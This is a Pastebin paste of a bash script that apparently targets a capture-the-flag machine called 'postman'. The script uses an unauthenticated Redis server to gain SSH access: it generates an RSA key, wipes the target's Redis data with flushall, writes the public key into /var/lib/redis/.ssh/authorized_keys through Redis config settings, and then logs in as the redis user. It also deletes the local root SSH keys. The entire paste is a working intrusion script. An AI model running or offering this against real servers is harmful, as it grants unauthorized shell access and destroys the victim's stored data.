Advertisement
Guest User

Untitled

a guest
Dec 14th, 2019
278
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.52 KB | None | 0 0
  1. Bash Script
  2. #!/bin/bash
  3.  
  4. #remove existing ssh keys
  5. rm /root/.ssh/id*
  6.  
  7. #generate new private key and echo a new line before and after the key
  8. ssh-keygen -t rsa
  9. (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt
  10.  
  11. #redis-cli command part
  12. redis-cli -h postman flushall
  13. cat foo.txt | redis-cli -h postman -x set crackit
  14. redis-cli -h postman config set dir /var/lib/redis/.ssh/
  15. redis-cli -h postman config set dbfilename "authorized_keys"
  16. redis-cli -h postman save
  17. ssh -i /root/.ssh/id_rsa redis@postman
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement